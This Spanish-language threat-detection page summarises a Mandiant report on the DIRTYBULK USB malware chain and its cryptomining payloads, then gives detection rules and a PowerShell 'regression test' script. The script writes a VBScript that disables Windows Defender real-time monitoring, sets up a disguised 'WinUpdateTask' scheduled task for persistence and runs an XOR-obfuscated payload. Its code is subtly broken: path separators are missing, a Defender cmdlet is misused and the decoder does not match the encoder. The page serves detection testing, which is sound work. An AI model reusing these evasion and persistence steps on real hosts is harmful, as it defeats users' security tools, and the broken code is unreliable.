DIRTYBULK y Amigos: Malware USB Impulsando Operaciones de Minería de Criptomonedas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe detalla una campaña de infección impulsada por USB que utiliza archivos de acceso directo maliciosos para entregar una cadena de malware de múltiples etapas para la minería de criptomonedas. La ejecución inicial carga un DLL llamado printui.dll desde un directorio falso de System32, luego entrega un dropper (CUTFAIL) que despliega un downloader (HIGHREPS) y un backdoor (PUMPBENCH). El backdoor PUMPBENCH se comunica con un servidor PostgreSQL para obtener cargas útiles adicionales y, finalmente, lanza los mineros XMRig. La operación mantiene la persistencia mediante exclusiones de Windows Defender, tareas programadas y servicios fraudulentos.
Análisis
Los investigadores de Mandiant deconstruyeron la cadena de ataque y destacaron cuatro familias de malware principales: DIRTYBULK, CUTFAIL, HIGHREPS y PUMPBENCH. Capturaron los patrones de nombres de archivo de los actores, el abuso de carga lateral de DLL de printui.dll, los cambios de registro e indicadores de red asociados. El análisis también trazó técnicas de persistencia, incluyendo tareas programadas y servicios vinculados al Grupo de Servicios DCOMLaunch.
Mitigación
Las defensas recomendadas incluyen bloquear la ejecución de archivos de acceso directo que se originan en medios extraíbles, monitorear los comandos que agregan exclusiones de Windows Defender, detectar actividad sospechosa de carga lateral de printui.dll y buscar servicios o tareas programadas que usen nombres aleatorios de seis dígitos. Aplicar controles de red contra dominios maliciosos conocidos y resolutores de DoH puede limitar aún más los canales de comando y control.
Respuesta
Una vez detectado, aísle el host impactado, elimine el DLL malicioso y sus componentes relacionados, elimine la tarea programada ofensiva y las entradas de servicio, y restablezca la configuración de Windows Defender limpiando las exclusiones. Realice un escaneo forense exhaustivo para descubrir cargas útiles residuales y rastrear conexiones a la infraestructura C2 de PostgreSQL identificada. Finalmente, actualice el contenido de detección para cubrir el uso observado de la línea de comandos y comportamientos de creación de archivos.
Flujo de ataque
Detecciones
Cantidad anormal de espacios en el nombre del proceso / línea de comando / ruta del archivo (mediante cmdline)
Ver
WScript / CScript de LOLBAS (mediante process_creation)
Ver
Modificación sospechosa de exclusiones de Defender (mediante cmdline)
Ver
Posible copia y cambio de nombre de ejecutable del sistema para evasión (mediante cmdline)
Ver
Desactivar la supervisión en tiempo real de Windows Defender y otros cambios de preferencias (mediante cmdline)
Ver
Ejecución de simulación
Requisito previo: la verificación previa de telemetría y línea base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un mal diagnóstico.
-
Narrativa de ataque y comandos:
-
Etapa 1 – Desplegar VBScript malicioso en la unidad USB comprometida (por ejemplo,
E:payload.vbs). El script desactiva la protección en tiempo real de Windows Defender usandoAdd-MpPreference, cifra una carga útil con una rutina XOR, y crea una tarea programada para la persistencia. -
Etapa 2 – Ejecutar el script mediante
wscript.exepasando directamente la línea de comando de persistencia (para satisfacer la condición conjuntiva de la regla). -
Etapa 3 – El script invoca internamente PowerShell para ejecutar la carga útil cifrada, demostrando la «cadena de infección».
-
Etapa 4 – Después de la ejecución, el atacante limpia los artefactos (elimina el script, borra la tarea programada).
-
-
Script de prueba de regresión:
# ------------------------------------------------------------ # Prueba de regresión – Simulación de cadena de infección de malware # ------------------------------------------------------------ $scriptPath = "$env:TEMPpayload.vbs" $taskName = "WinUpdateTask" $xorKey = 0x5A # -- 1. Crear carga útil cifrada con XOR dummy -------------------------------- $plainPayload = "calc.exe" $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload) for ($i = 0; $i -lt $bytes.Length; $i++) { $bytes[$i] = $bytes[$i] -bxor $xorKey } $encrypted = [Convert]::ToBase64String($bytes) # -- 2. Escribir VBScript malicioso ------------------------------------------- @" ' VBScript malicioso – cadena de infección Set sh = CreateObject("WScript.Shell") ' Desactivar la protección en tiempo real sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True ' Crear tarea programada para persistencia sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True ' Descifrar y ejecutar carga útil Dim encData, decData, i encData = "$encrypted" decData = "" For i = 1 To Len(encData) Step 4 ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey) decData = decData & ch Next sh.Run decData, 0, False "@ | Set-Content -Encoding ASCII $scriptPath # -- 3. Ejecutar el script mediante wscript.exe (dispara la regla) ------------- wscript.exe "$scriptPath" /B # -- 4. (Opcional) Esperar unos segundos para que la tarea se active ---------------- Start-Sleep -Seconds 10 # ------------------------------------------------------------ # Limpieza – eliminar script y tarea programada # ------------------------------------------------------------ Remove-Item $scriptPath -Force schtasks /Delete /TN $taskName /F -
Comandos de limpieza:
# Eliminar tarea programada residual (si aún está presente) schtasks /Delete /TN "WinUpdateTask" /F # Eliminar cualquier archivo de script residual Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue # Habilitar nuevamente la protección en tiempo real powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"